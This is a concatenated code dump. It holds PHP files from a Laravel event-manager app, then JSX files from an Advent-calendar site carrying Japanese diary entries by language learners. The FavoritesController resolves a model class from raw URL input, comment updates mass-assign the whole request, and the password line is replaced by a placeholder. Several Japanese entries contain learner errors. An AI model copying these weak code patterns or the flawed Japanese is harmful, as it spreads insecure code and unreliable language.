$comment); try { request()->validate( ['body' => 'required|spamfree'] ); $comment->update(request()->all()); return response()->json(['message' => 'Comment updated']); } catch (\Exception $e) { return response()->json(['message' => 'Sorry, your comment could not be saved at this time'], 422); } } /** * @param Comment $comment * @return \Illuminate\Contracts\Routing\ResponseFactory|\Illuminate\Http\Response * @throws \Illuminate\Auth\Access\AuthorizationException */ public function destroy(Comment $comment) { $this->authorize('update', $comment); $comment->delete(); return response(['message' => 'Comment deleted']); } } <file_sep><?php namespace App; use App\Traits\PreferMails; use Laravel\Passport\HasApiTokens; use Spatie\Permission\Traits\HasRoles; use Illuminate\Notifications\Notifiable; use Illuminate\Contracts\Auth\MustVerifyEmail; use Illuminate\Foundation\Auth\User as Authenticatable; /** * Class User * @package App * @property string name * @property string email * @property string password * @property string avatar_path * @property string thumb_path * @property int provider_id * @property string provider * @property string access_token */ class User extends Authenticatable implements MustVerifyEmail { use Notifiable, HasRoles, PreferMails, HasApiTokens; /** * @var array */ protected $with = ['roles']; /** * The attributes that are mass assignable. * * @var array */ protected $fillable = [ 'name', 'email', 'password', 'avatar_path', 'thumb_path', 'provider_id', 'provider', 'access_token', ]; /** * The attributes that should be hidden for arrays. * * @var array */ protected $hidden = [ 'password', 'remember_token', ]; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'email_verified_at' => 'datetime', ]; /** * @param $avatar * * @return string */ public function getAvatarPathAttribute($avatar) { return asset($avatar ? 'storage/' . $avatar : 'images/users_avatars/default.png'); } /** * @param $thumb * * @return string */ public function getThumbPathAttribute($thumb) { return asset($thumb ? 'storage/' . $thumb : 'images/users_thumbs/default.png'); } /** * @return \Illuminate\Database\Eloquent\Relations\HasMany */ public function events() { return $this->hasMany(Event::class); } /** * @return \Illuminate\Database\Eloquent\Relations\HasMany */ public function comments() { return $this->hasMany(Comment::class); } /** * @return \Illuminate\Database\Eloquent\Relations\HasMany */ public function unsubscribeToken() { return $this->hasMany(UnsubscribeToken::class); } /** * @return \Illuminate\Database\Eloquent\Relations\HasMany */ public function activity() { return $this->hasMany(Activity::class); } /** * @return \Illuminate\Database\Eloquent\Relations\HasOne */ public function lastComment() { return $this->hasOne(Comment::class)->latest(); } /** * @return string */ public function path() { return "/users/{$this->id}/profile"; } } <file_sep><?php namespace App\Http\Controllers; /** * Class FavoritesController * @package App\Http\Controllers */ class FavoritesController extends Controller { /** * @param $class * @param $id * * @return \Illuminate\Http\RedirectResponse */ public function store($class, $id) { $model = "App\\" . ucfirst($class); $instance = $model::find($id); $instance->favorite(); return response(null, 204); } /** * @param $class * @param $id * * @return \Illuminate\Http\RedirectResponse */ public function destroy($class, $id) { $model = "App\\" . ucfirst($class); $instance = $model::find($id); $instance->unfavorite(); return response(null, 204); } } <file_sep><?php namespace App\Http\Controllers; use App\Event; use App\Comment; use App\Http\Requests\Comments\CreateCommentRequest; /** * Class CommentsController * @package App\Http\Controllers */ class CommentsController extends Controller { /** * Return all comments for given event. * * @param Event $event * * @return \Illuminate\Contracts\Pagination\LengthAwarePaginator */ public function index(Event $event) { return $event->comments() ->latest() ->paginate(10); } /** * Store a newly created comment in database. * * @param Event $event * @param CreateCommentRequest $request * @return mixed */ public function store(Event $event, CreateCommentRequest $request) { if ($event->locked) { return response('Event is locked', 422); } return $event->addComment([ 'user_id' => auth()->id(), 'body' => request('body'), ])->load('owner'); } /** * @param Comment $comment * * @return \Illuminate\Contracts\Routing\ResponseFactory|\Illuminate\Http\Response * @throws \Illuminate\Auth\Access\AuthorizationException */ public function update(Comment $comment) { $this->authorize('update', $comment); try { request()->validate(['body' => 'required|spamfree']); $comment->update(request()->all()); } catch (\Exception $e) { return response('Sorry, your comment could not be saved at this time', 422); } } /** * Delete a single comment from database. * * @param Comment $comment * * @return \Illuminate\Http\Response * @throws \Illuminate\Auth\Access\AuthorizationException * @throws \Exception */ public function destroy(Comment $comment) { $this->authorize('update', $comment); $comment->delete(); return response(['status' => 'Comment deleted']); } } <file_sep><?php namespace App\Listeners; use App\User; use App\Events\EventReceivedNewComment; use App\Notifications\YouWereMentioned; class NotifyMentionedUsers { /** * Handle the event. * * @param EventReceivedNewComment $event * @return void */ public function handle(EventReceivedNewComment $event) { User::whereIn('name', $event->comment->mentionedUsers()) ->get() ->each(function ($user) use ($event) { $user->notify(new YouWereMentioned($event->comment)); }); } } <file_sep><?php namespace App\Http\Controllers\Api\Auth; use App\User; use Illuminate\Support\Facades\Auth; class AuthController extends BaseController { /** * @return \Illuminate\Http\JsonResponse */ public function register() { $credintials = request()->validate([ 'name' => ['required', 'string', 'max:255'], 'email' => ['required', 'string', 'email', 'max:255', 'unique:users'], 'password' => ['required', 'string', 'min:8', 'confirmed'], ]); $credintials['password'] = <PASSWORD>(request('password')); $user = User::create($credintials); $user->assignRole('Client'); $success['token'] = $user->createToken('Event-Manager')->accessToken; $success['name'] = $user->name; return $this->sendResponse($success, 'User registered successfully'); } /** * @return \Illuminate\Http\JsonResponse */ public function login() { request()->validate([ 'email' => ['required', 'string', 'email', 'max:255', 'exists:users,email'], 'password' => ['required', 'string', 'min:8'], ]); if (Auth::attempt(['email' => request()->email, 'password' => request()->password])) { $user = auth()->user(); $success['token'] = $user->createToken('Event-Manager')->accessToken; $success['name'] = $user->name; return $this->sendResponse($success, 'User loged in successfully'); } else { return $this->sendError('Unauthorised', ['message' => 'Email/Password did not match']); } } } <file_sep><?php namespace Tests\Feature; use Carbon\Carbon; use Tests\TestCase; use Illuminate\Foundation\Testing\RefreshDatabase; class ReadEventsTest extends TestCase { use RefreshDatabase; protected $eventManager; protected function setUp(): void { parent::setUp(); $this->eventManager = factory('App\User')->create(); $this->eventManager->assignRole('Event Manager'); } /** @test */ public function an_unauthenticated_user_can_not_browse_events() { $this->json('GET', '/event') ->assertStatus(401) ->assertJsonFragment([ 'message' => 'Unauthenticated.', ]); } /** @test */ public function an_authenticated_user_can_browse_all_events() { $this->actingAs($this->eventManager); $event = factory('App\Event')->create(['user_id' => $this->eventManager->id]); $secondEvent = factory('App\Event')->create(['user_id' => $this->eventManager->id]); $this->json('GET', route('event.index')) ->assertStatus(200) ->assertJsonFragment([ 'title' => $event->title, 'title' => $secondEvent->title, 'user_id' => strval($this->eventManager->id), ]); } /** @test */ public function user_can_not_view_create_event_form_before_verifying_email_address() { $user = factory('App\User')->create(['email_verified_at' => null]); $this->actingAs($user); $this->json('GET', route('event.create')) ->assertStatus(403); } /** @test */ public function only_event_manager_and_super_admin_can_view_create_event_form() { $this->actingAs($this->eventManager); $this->json('GET', route('event.create')) ->assertStatus(200); $superAdmin = factory('App\User')->create(); $superAdmin->assignRole('Super Admin'); $this->actingAs($superAdmin); $this->json('GET', route('event.create')) ->assertStatus(200); $client = factory('App\User')->create(); $client->assignRole('Client'); $this->actingAs($client); $this->json('GET', route('event.create')) ->assertStatus(403); } /** @test */ public function an_authenticated_user_can_show_event() { $this->actingAs($this->eventManager); $event = factory('App\Event')->create(['user_id' => $this->eventManager->id]); $this->get(route('event.show', [$event->id])) ->assertSee($event->title) ->assertSee($event->description); } } <file_sep><?php namespace App; use Illuminate\Support\Str; use Illuminate\Database\Eloquent\Model; /** * Class UnsubscribeToken * @package App * @property int user_id * @property string token */ class UnsubscribeToken extends Model { /** * @var array */ protected $fillable = [ 'user_id', 'token', ]; /** * @return string */ public function getRouteKeyName() { return 'token'; } /** * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function user() { return $this->belongsTo(User::class); } /** * @param User $user * * @return mixed */ public static function generateFor(User $user) { if ($user->unsubscribeToken()->exists()) { $user->unsubscribeToken()->delete(); } return static::create( [ 'user_id' => $user->id, 'token' => Str::random(50), ] ); } } <file_sep><?php namespace App; use App\Traits\RecordsActivity; use Illuminate\Database\Eloquent\Model; /** * Class Favorite * @package App * @property int user_id * @property int favoritable_id * @property string favoritable_type */ class Favorite extends Model { use RecordsActivity; /** * @var array */ protected $fillable = [ 'user_id', 'favoritable_id', 'favoritable_type', ]; /** * Get all of the owning commentable models. */ public function commentable() { return $this->morphTo(); } public function favoritable() { return $this->morphTo(); } } <file_sep><?php namespace App\Http\Controllers; use App\Event; /** * Class EventSubscriptionController * @package App\Http\Controllers */ class EventSubscriptionController extends Controller { /** * @param Event $event */ public function store(Event $event) { $event->subscribe(); } /** * @param Event $event */ public function destroy(Event $event) { $event->unsubscribe(); } } <file_sep><?php namespace App\Policies; use App\User; use App\Comment; use Illuminate\Auth\Access\HandlesAuthorization; class CommentPolicy { use HandlesAuthorization; /** * Determine whether the user can update the event. * * @param \App\User $user * @param \App\Comment $comment * @return mixed */ public function update(User $user, Comment $comment) { return $user->id === $comment->user_id; } /** * Determine if the authenticated user has permission to create a new reply. * * @param User $user * @return bool */ public function create(User $user) { if (! $lastComment = $user->lastComment) { return true; } return ! $lastComment->wasJustPublished(); } } <file_sep><?php namespace App\Policies; use App\User; use Illuminate\Auth\Access\HandlesAuthorization; class UserPolicy { use HandlesAuthorization; /** * Determine whether the user can update the event. * * @param User $authUser * @param \App\User $user * @return mixed */ public function update(User $authUser, User $user) { return $authUser->id === $user->id; } }
50ee43fee4a87f3edf2c1fd5aa3f273a7febdef7
[ "JavaScript", "PHP" ]
50
PHP
Dejan91/event-manager
86f77f41b1a171265d7d909eba0f867e0195589c
dc4040a40042379b22749c6792e954a99da68bed
refs/heads/master
<repo_name>VivekPandey09032002/SS_1279<file_sep>/strawberry_stacker/CMakeLists.txt cmake_minimum_required(VERSION 2.8.3) project(strawberry_stacker) find_package(catkin REQUIRED) catkin_metapackage() <file_sep>/task_1/scripts/aruco_detection.py #!/usr/bin/env python3 ############## Task1.1 - ArUco Detection ############## ### YOU CAN EDIT THIS FILE FOR DEBUGGING PURPOSEs, SO THAT YOU CAN TEST YOUR ArUco_library.py AGAINST THE VIDEO Undetected ArUco markers.avi### ### BUT MAKE SURE THAT YOU UNDO ALL THE CHANGES YOU HAVE MADE FOR DEBUGGING PURPOSES BEFORE TESTING AGAINST THE TEST IMAGES ### import numpy as np import cv2 import cv2.aruco as aruco import time from aruco_library import * image_list = ["/home/vivek/catkin_ws/src/strawberry_stacker/task_1/scripts/test_image1.png","/home/vivek/catkin_ws/src/strawberry_stacker/task_1/scripts/test_image2.png"] test_num = 1 for image in image_list: img = cv2.imread(image) Detected_ArUco_markers = detect_ArUco(img) ## detecting ArUco ids and returning ArUco dictionary angle = Calculate_orientation_in_degree(Detected_ArUco_markers) ## finding orientation of aruco with respective to the menitoned scale in problem statement img = mark_ArUco(img,Detected_ArUco_markers,angle) ## marking the parameters of aruco which are mentioned in the problem statement result_image = "/home/vivek/catkin_ws/src/strawberry_stacker/task_1/scripts/result_image"+str(test_num)+".png" cv2.imwrite(result_image,img) ## saving the result image #print(angle) cv2.imshow("img",img) cv2.waitKey(0) test_num = test_num +1 <file_sep>/task_1/scripts/moving_marker.py #!/usr/bin/env python3 import rospy import math from gazebo_msgs.msg import ModelState class landing_mover(): def __init__(self, model_name="landing_station", x_a=1, y_a=1, z_a=1, x_f=1, y_f=1, z_f=1, x_p=0, y_p=0, z_p=0): self.name = model_name self.x_a = x_a self.x_f = x_f self.x_p = x_p self.y_a = y_a self.y_f = y_f self.y_p = y_p self.z_a = z_a self.z_f = z_f self.z_p = z_p self.model_state = ModelState() self.model_state.model_name = self.name def update_model_state_pose_sin(self, time): self.model_state.pose.position.x = self.x_a * math.sin(self.x_f * time + self.x_p) self.model_state.pose.position.y = self.y_a * math.sin(self.y_f * time + self.y_p) self.model_state.pose.position.z = self.z_a * math.sin(self.z_f * time + self.z_p) def update_model_state_vel_sin(self, time): self.model_state.twist.linear.x = self.x_a * math.sin(self.x_f * time + self.x_p) self.model_state.twist.linear.y = self.y_a * math.sin(self.y_f * time + self.y_p) self.model_state.twist.linear.z = self.z_a * math.sin(self.z_f * time + self.z_p) def hook(): ls_1.update_model_state_pose_sin(0) model_state_pub.publish(ls_1.model_state) if __name__ == '__main__': rate = 30 rospy.init_node('moving_marker') model_name = rospy.get_param("~model_name", "landing_station") ls_1 = landing_mover(model_name, z_a=0, x_f=4) model_state_pub = rospy.Publisher("gazebo/set_model_state", ModelState, queue_size=1) r = rospy.Rate(rate) rospy.on_shutdown(hook) while not rospy.is_shutdown(): try: time = rospy.get_time() ls_1.update_model_state_pose_sin(time) # ls_1.update_model_state_vel_sin(time) model_state_pub.publish(ls_1.model_state) r.sleep() except rospy.ROSInterruptException: pass # rospy.logerr("ROS Interrupt Exception!") except rospy.ROSTimeMovedBackwardsException: rospy.logerr("ROS Time Backwards! Likely simulator reset") <file_sep>/task_1/scripts/marker_detection.py #!/usr/bin/env python3 ''' This is a boiler plate script that contains an example on how to subscribe a rostopic containing camera frames and store it into an OpenCV image to use it further for image processing tasks. Use this code snippet in your code or you can also continue adding your code in the same file This python file runs a ROS-node of name marker_detection which detects a moving ArUco marker. This node publishes and subsribes the following topics: Subsriptions Publications /camera/camera/image_raw /marker_info ''' from sensor_msgs.msg import Image from task_1.msg import Marker from cv_bridge import CvBridge, CvBridgeError import cv2 import numpy as np import rospy class image_proc(): # Initialise everything def __init__(self): rospy.init_node('marker_detection') #Initialise rosnode # Making a publisher self.marker_pub = rospy.Publisher('/marker_info', Marker, queue_size=1) # ------------------------Add other ROS Publishers here----------------------------------------------------- # Subscribing to /camera/camera/image_raw self.image_sub = rospy.Subscriber("/camera/camera/image_raw", Image, self.image_callback) #Subscribing to the camera topic # -------------------------Add other ROS Subscribers here---------------------------------------------------- self.img = np.empty([]) # This will contain your image frame from camera self.bridge = CvBridge() self.marker_msg=Marker() # This will contain the message structure of message type task_1/Marker # Callback function of amera topic def image_callback(self, data): # Note: Do not make this function lenghty, do all the processing outside this callback function try: self.img = self.bridge.imgmsg_to_cv2(data, "bgr8") # Converting the image to OpenCV standard image except CvBridgeError as e: print(e) return def publish_data(self): self.marker_pub.publish(self.marker_msg) if __name__ == '__main__': image_proc_obj = image_proc() rospy.spin() <file_sep>/task_1/scripts/aruco_library.py #!/usr/bin/env python3 ############## Task1.1 - ArUco Detection ############## import numpy as np import cv2 import cv2.aruco as aruco import sys import math import time """ This function is made for camera calibration """ def cameraCalibration(corners, image): CHECKBOARD = (5, 5) criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 30, 0.001) threedpoints = [] twopoints = [] objectp3d = np.zeros ( (1, CHECKBOARD[0] * CHECKBOARD[1], 3), np.float32) objectp3d [0, :, : 2] = np.mgrid [ 0:CHECKBOARD[0], 0:CHECKBOARD[1]].T.reshape(-1,2) threedpoints.append(objectp3d) corners2 = cv2.cornerSubPix ( image, corners, (11,11), (-1,-1), criteria) twopoints.append(corners2) ret, matrix, distortion, r_vecs, t_vecs = cv2.calibrateCamera( threedpoints, twodpoints, grayColor.shape[::-1], None, None) print(matrix) print(r_vecs) """ Camera calibration ends """ def mark_ArUco(img,Detected_ArUco_markers,ArUco_marker_angles): aruco_dict = aruco.Dictionary_get(aruco.DICT_5X5_250) parameters = aruco.DetectorParameters_create() corners, ids, _ = aruco.detectMarkers(img, aruco_dict, parameters = parameters) img = aruco.drawDetectedMarkers(img,corners,ids,(0,0,255)) lis = [(125,125,125),(0,255,0),(180,105,255),(255,255,255),(0,0,255),(255,0,0)] # angle for id in Detected_ArUco_markers.keys(): corners = Detected_ArUco_markers[id] corners = np.int0(corners) i=0 for corner in corners: x,y = corner.ravel() cv2.circle(img,(x,y),5,lis[i],-1) i=i+1 cx = 0 cy = 0 for arr in corners: cx += arr[0] cy += arr[1] cx = cx // 4; cy = cy // 4; center = tuple([cx,cy]) cv2.circle(img,(cx,cy),5,lis[4],-1) tl = corners[0] tr = corners[1] midx = (tl[0] + tr[0]) // 2 midy = (tl[1] + tr[1]) // 2 middle = tuple([midx, midy]) cv2.line(img,center,middle,(255,0,0),1) # printing the angles print(id) font = cv2.FONT_HERSHEY_SIMPLEX org = ( cx-35 , cy-15) fontScale = 0.6 color = (0, 255 , 0) thickness = 2 img = cv2.putText(img, str(ArUco_marker_angles[id]), org, font, fontScale, color, thickness, cv2.LINE_AA) return img def detect_ArUco(img): ## function to detect ArUco markers in the image using ArUco library ## argument: img is the test image ## return: dictionary named Detected_ArUco_markers of the format {ArUco_id_no : corners}, where ArUco_id_no indicates ArUco id and corners indicates the four corner position of the aruco(numpy array) ## for instance, if there is an ArUco(0) in some orientation then, ArUco_list can be like ## {0: array([[315, 163], # [319, 263], # [219, 267], # [215,167]], dtype=float32)} Detected_ArUco_markers = {} ## enter your code here ## imggray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY) aruco_dict = aruco.Dictionary_get(aruco.DICT_5X5_250) parameters = aruco.DetectorParameters_create() corners, ids, _ = aruco.detectMarkers(imggray, aruco_dict, parameters = parameters) for i in range(0,len(ids)): Detected_ArUco_markers[ids[i][0]] = corners[i][0] # print(Detected_ArUco_markers) return Detected_ArUco_markers def Calculate_orientation_in_degree(Detected_ArUco_markers): ## function to calculate orientation of ArUco with respective to the scale mentioned in problem statement ## argument: Detected_ArUco_markers is the dictionary returned by the function detect_ArUco(img) ## return : Dictionary named ArUco_marker_angles in which keys are ArUco ids and the values are angles (angles have to be calculated as mentioned in the problem statement) ## for instance, if there are two ArUco markers with id 1 and 2 with angles 120 and 164 respectively, the ## function should return: {1: 120 , 2: 164} ArUco_marker_angles = {} ## enter your code here ## for ids, corner in Detected_ArUco_markers.items(): top_right_angle = (math.degrees(math.atan2(-corner[1][1] + corner[3][1], corner[1][0] - corner[3][0]))) % 360 angle = (top_right_angle + 45) % 360 ArUco_marker_angles[ids] = int(angle) return ArUco_marker_angles ## returning the angles of the ArUco markers in degrees as a dictionary
2741dc2a7012a98e81c9b7da4319237d50104c1f
[ "Python", "CMake" ]
5
CMake
VivekPandey09032002/SS_1279
58082f786c0327351cd0655de67bfd17f84e9ce4
5e6f8102c56f3de359f3b0c51e4a22d47f91765f
refs/heads/master
<repo_name>randheerpolepelly/eshopper<file_sep>/app/home/home.factory.js (function(){ function homeFactory(){ var theme1 = { hello:function(){ alert('hello green theme'); } }; var theme2 = { hello:function(){ alert('yellow green theme'); } }; if(1){ return theme1; } else { return theme2; } }; angular.module('home') .factory('homeFactory', homeFactory); }());<file_sep>/app/home/home.directive.js (function(){ function helloAngular(){ return{ restrict : 'E', template : '<span>Hey, I am from angular</span>' } }; angular.module('home') .directive('helloAngular', helloAngular); }());
66981aac23227157b8dc2088b6f4e1e3823544bf
[ "JavaScript" ]
2
JavaScript
randheerpolepelly/eshopper
f9235143101e17b3153b868e24ef771cee82d7ac
a859b82e0e7314f8ce88c7bf5966130899211c64
refs/heads/master
<repo_name>dayxi/Exercice-Arduino<file_sep>/exo2.1_analog_b/exo2.1_analog_b.ino int pin_w = 3, pin_r = 0, pin_r0 = 2, v=10; float a1 = 0, a0 = 0, ib ; void setup() { pinMode(pin_w, OUTPUT); Serial.begin(9600); } void loop() { analogWrite(pin_w,v); delay(5000); a1= analogRead(pin_r); a0= analogRead(pin_r0); a0 = a0*5/1023; a1 = a1*5/1023; ib =((a0-a1)/10); Serial.print(" v : "); Serial.print(v); Serial.print(" "); Serial.print("Ib : "); Serial.print(ib); Serial.print(" "); Serial.print("Vbe : "); Serial.println(a1); v = v+10; } <file_sep>/exo1d_analog_/exo1d_analog_.ino int led=1; float recu; void setup() { Serial.begin(9600); } void loop() { recu = analogRead(led); recu = recu*5/1023; Serial.println(recu); delay(1000); } <file_sep>/exo2.1_analog_c_et_d/exo2.1_analog_c_et_d.ino int pin_w = 3, pin_a1 = 0, pin_a0 = 1, pin_a2 = 5, pin_a3 = 4, v = 25; float a1 = 0, a0 = 0, a2 = 0, a3 = 0,ib = 0, ic = 0; void setup() { pinMode(pin_w, OUTPUT); Serial.begin(9600); } void loop() { analogWrite(pin_w,v); delay(5000); a1= analogRead(pin_a1); a0= analogRead(pin_a0); a0 = a0*5/1023; a1 = a1*5/1023; ib =((a0-a1)/10); a3= analogRead(pin_a3); a2= analogRead(pin_a2); a2 = (a2*5/1023)*6; a3 = (a3*5/1023)*6; ic =((a2-a3)/10); Serial.print(" v : "); Serial.print(v); Serial.print(" "); Serial.print("Ib uA : "); Serial.print(ib); Serial.print(" "); Serial.print("Ic -1A : "); Serial.println(ic); v = v+25; } <file_sep>/exo2.1_analog_a/exo2.1_analog_a.ino int pin = 3, a0 = 0, a1 = 2, v = 128; float a0v = 0, a1v = 0, ddp; void setup() { pinMode(pin, OUTPUT); Serial.begin(9600); } void loop() { analogWrite(pin,v); a0v = (analogRead(a0)+ analogRead(a0)+ analogRead(a0) + analogRead(a0))/4; a1v = (analogRead(a1) + analogRead(a1) + analogRead(a1) + analogRead(a1))/4; ddp = a0v - a1v; Serial.println(""); Serial.print("Valeur de a0 : "); Serial.println(a0v); Serial.print("Valeur de a1 : "); Serial.println(a1v); Serial.print("Valeur de la ddp : "); Serial.println(ddp); Serial.println(""); if(ddp > 102) { v = v-1; } else { Serial.println("OK"); delay(1000); } delay(500); } <file_sep>/exo1e_analog_/exo1e_analog_.ino int led=3, pot=1; float recu; void setup() { pinMode(led, OUTPUT); Serial.begin(9600); } void loop() { recu = analogRead(pot); recu = recu*255/1023; analogWrite(led,recu); } <file_sep>/exo1f_analog_/exo1f_analog_.ino int red = 3, blue = 5, green = 6, cpt=0, validation = 0, bouton = 2; void setup() { pinMode(red,OUTPUT); pinMode(blue,OUTPUT); pinMode(green,OUTPUT); pinMode(bouton, INPUT); } void loop() { analogWrite(red,255); analogWrite(blue,0); analogWrite(green ,0); delay(1000); analogWrite(red,255); analogWrite(blue,0); analogWrite(green ,128); delay(1000); analogWrite(red,255); analogWrite(blue,0); analogWrite(green ,255); delay(1000); analogWrite(red,0); analogWrite(blue,0); analogWrite(green ,255); delay(1000); analogWrite(red,0); analogWrite(blue,255); analogWrite(green ,255); delay(1000); analogWrite(red,0); analogWrite(blue,255); analogWrite(green ,0); delay(1000); analogWrite(red,255); analogWrite(blue,255); analogWrite(green ,255); /*validation = digitalRead(bouton); if(validation == 1) { cpt++; } switch(cpt) { case 1 : analogWrite(red,255); analogWrite(blue,0); analogWrite(green ,0); break; case 2 : analogWrite(red,255); analogWrite(blue,0); analogWrite(green ,128);break; case 3 : analogWrite(red,255); analogWrite(blue,0); analogWrite(green ,255);break; case 4 : analogWrite(red,0); analogWrite(blue,0); analogWrite(green ,255);break; case 5 : analogWrite(red,0); analogWrite(blue,255); analogWrite(green ,255);break; case 6 : analogWrite(red,0); analogWrite(blue,255); analogWrite(green ,0); break; case 7 : analogWrite(red,255); analogWrite(blue,255); analogWrite(green ,255); break; } if(cpt == 7) { cpt = 0; }*/ delay(1000); } <file_sep>/Projet_final_Pt100/Projet_final_Pt100.ino int pin = 5; float vanalout = 0, vout = 0 ,degres = 0, kelvin = 0; void setup() { pinMode(pin, OUTPUT); Serial.begin(9600); } void loop() { vanalout = (analogRead(pin)+analogRead(pin)+analogRead(pin)+analogRead(pin))/4; //Lecture de la ddp en valeur analogique vout = vanalout*0.024/1023; //Conversion de la valeur analogique en voltage vout = vout*200; // Amplification de la valeur pour que le voltage max = 5V if(vout >= 4.8) //Notre tension maximal pour les 40°C se trouve à 4.8 V donc une fois ce cap dépassé, on dépasse la température limite { Serial.print("Température supérieure à 40°C"); Serial.println(""); delay(1000); } else { degres = vanalout*40/1023; //Conversion de la valeur du volt en degres kelvin = degres + 273.15; //Conversion degres en kelvin Serial.print("Temp : "); Serial.print(degres); Serial.print("°C - "); Serial.print(kelvin); Serial.print(" K"); Serial.println(""); delay(1000); } } <file_sep>/exo1c_analog_/exo1c_analog_.ino int Led= 3, a=0; void setup() { pinMode(Led, OUTPUT); } void loop() { do { analogWrite(Led, a); a++; delay(10); } while(a<255); delay(10); do { analogWrite(Led, a); a--; delay(10); } while(a!=0); delay(10); } <file_sep>/exo1b_analog_/exo1b_analog_.ino int Led=2, bouton=7, validation=0; void setup() { pinMode(Led,OUTPUT); pinMode(bouton, INPUT); } void loop() { digitalWrite(Led,HIGH); validation = digitalRead(bouton); digitalWrite(Led,validation); }
470d4be1949ff3aa964e3d4dee591ab8e07e7c91
[ "C++" ]
9
C++
dayxi/Exercice-Arduino
58009e7b79afa50531d79d026892989db68450a5
0a781f425f3fd6f50aafa9ceb8982a2bef554b82
refs/heads/master
<repo_name>espaspw/Advent-Calendar-2020<file_sep>/src/data/entries/24.js import icon from '../icons/dubbed.png' export default ( <> <div className={'jp'}> <strong>2020年12月24日 (木)</strong> </div> <div className={'jp'}> <p> こんにちは皆さん。明日クリスマスです。ちょっと早いけど、メリークリスマス!<br/> 2019年2月1、ひらがなとカタカナを覚えました。大変だったね。<br/> 今年、大変な年でした。色々なことがありました。<br/> でも、今年、僕はまだ頑張りました。僕は自分をとても誇らしい、たくさんのことをしたから。僕の成果を書きます。<br/> 2020年9月20、「Genki l」と「Genki ll」読み終えました。たくさんの時間がかかりましたね。1月から6月まで、痩せました。7月から、筋肉をつけ始めました。<br/> 9月の終わりに「とびら」という教科書を読み始めました。これは最後の読む教科書です。<br/> 皆さん、来年の目的はなんですか。教えて下さい!<br/> 来年、僕の大事な目的は3つがあると思います。<br/> まず、もっと筋肉をつけたいです。次に、日本語を上手に話せて、読めて、書けるようになりたいです。最後に、僕は「SONY」という会社は重役の娘に結婚します。<br/> 一つ願いがあります。願いは最高の男になりたい。<br/> 僕は皆さんの幸福を願っています。<br/> 頑張って、お大事に!<br/> 終わり! </p> </div> </> ) export const metadata = { alias: null, username: '!DubbedAnime', id: '256345367879090176', index: 24, date: 'December 24 (Christmas Eve)', icon: icon } <file_sep>/src/data/entries/27.js import icon from '../icons/kamil.png' export default ( <> <div> <strong>アドベントカレンダー 12/27/20</strong> </div> <div> <p>みなな、こんにちは!</p> <p>みんなが幸せな休日を過ごしたことを願っています。私はこの時期何もしないので、クリスマスにもっと日本語を学びました。</p> <p>私は自分に何かを試させようとしていますが、何もうまくいきませんでした。だから私はもっと日本語を上達させたいのです。努力が足りていない気がします。</p> <p>すべてがオンラインなので、学校も少し大変だった、学校と日本語のバランスもとらなければならないので、本当に大変です。( ̄^ ̄)</p> <p>来年は今までやったことのないことをみんなでやってみるべきだと思います。みんなの幸運を祈っています!</p> <p>バイバイ☆〜(ゝ。∂)</p> </div> </> ) export const metadata = { alias: 'カミル', username: 'kamil', id: '462412440261361676', index: 27, date: 'December 27', icon: icon } <file_sep>/src/data/entries/10.js import icon from '../icons/skyz.png' export default ( <> <div>スカイズのアドベントカレンダー 2020</div> <div className={'jp'}> <p>僕の趣味</p> <p>僕の趣味は基本的に2つがある</p> <p>1つ目の趣味とはよく2つ目の損になるぐらい圧倒的に夢中である。それはゲーミングであることだ。今の沼ってるゲームと言ったらルーンスケープというゲームだ。単純なゲームだ。マウスでクリックしたら世界の果てまでどこにも行ける。大冒険になるゲームであるルーンスケープが2001に開発した。そんな長い間でもここまでやってきたんだ。2013にゲームが変わって2007のバージョンに戻された。本当によかった。現在のルーンスケープが本当のクソゲーになってても2013に開発したオルドスクールルーンスケープというバージョンがまだいい作品だ。ガチャゲームと比べたら遊び放題でたくさんのスキルがあって色々なやることが存在である。僕的には一番楽しいことは木を倒すことだ。ゆっくろとマイペースで他のことをやりながらぽんぽんと木を叩いて回して落ち着く。十歳の頃にやってたゲームに戻ったことは時間の無駄であっても本当に楽しい時間を過ごせる。他のやることは動画を見たり本を読んだりすること。</p> <p>前に言ったとおりゲームをちょっとハマりすぎて他のことをし忘れて先延ばしにしてしまう。さっき述べた2つ目の趣味は日本語を学ぶこと。木を倒しながら日本語の本を読む。</p> <p>今年も読んでくれてありがとうございました</p> </div> </> ) export const metadata = { alias: 'ゆきの', username: 'Skyz', id: '107202830846148608', index: 10, date: 'December 10', icon: icon } <file_sep>/src/data/entries/14.js import icon from '../icons/sen.png' import bow3 from '../emotes/bow3.png' import fastFujiYay from '../emotes/fastFujiYay.gif' import chiroHug from '../emotes/chiroHug.gif' import yay from '../emotes/yay.png' import faceFlush from '../emotes/faceFlush.png' export default ( <> <div> <strong>Advent Calendar, day 14th <img src={bow3} className={'emote'} /></strong> </div> <div className={'jp'}> <p><strong>僕は訂正してください <img src={fastFujiYay} className={'emote'} /></strong></p> <p>今年はとても遅いですよね?だから、来年は楽しいきっと!私の日本語は下手だから、正します下さい。私のつもりがN5を終わります。日本語は面白い!とても面白い!日本語は美しいです。<br/> チャットはキノコを話します、キノコは特別です。<br/> 来年はいいなら私はキノコをなるよ。<br/> では、別個な話を教えいます</p> <p>私の趣味は日本語の勉強やゲームです。<br/> 私は映画を観いただから日本語を勉強します。その映画は私の霊感だった。でも、今霊感はないです。 <img src={chiroHug} className={'emote'} /><br/> クリスマスは来ているです、皆さんは食べ物を作っておく<br/> このパンデミックとても悲しい、だから来年は希望って大丈夫です、けど、このイベントは私の理由が日本語を勉強します。<br/> 日本語は大好き。<br/> これは短いです、ごめんなさい。</p> <p>ありがとうございます <img src={yay} className={'emote'} /></p> <p>-Sen, JLPT N23 <img src={faceFlush} className={'emote'} /></p> </div> </> ) export const metadata = { alias: '千 - JP level N15 🔰', username: 'Senと千尋', id: '338495775044665344', index: 14, date: 'December 14', icon: icon } <file_sep>/src/index.js import './index.css' import Entry from './Entry' import FrontMatter from './Front-Matter' import BackToTopButton from './Back-To-Top-Button' import SnowToggleButton from './Snow-Toggle-Button' import { tsParticles } from 'tsparticles' import anime from 'animejs' import Cookies from 'universal-cookie' import particleOptions from './particles.json' import particleBackOptions from './particles-back.json' import { useState, useEffect } from 'preact/hooks' // Overwrites function used by particle.js that uses deprecated variables Object.deepExtend = function deepExtendFunction (destination, source) { for (const property in source) { if (source[property] && source[property].constructor && source[property].constructor === Object) { destination[property] = destination[property] || {} deepExtendFunction(destination[property], source[property]) } else { destination[property] = source[property] } } return destination } 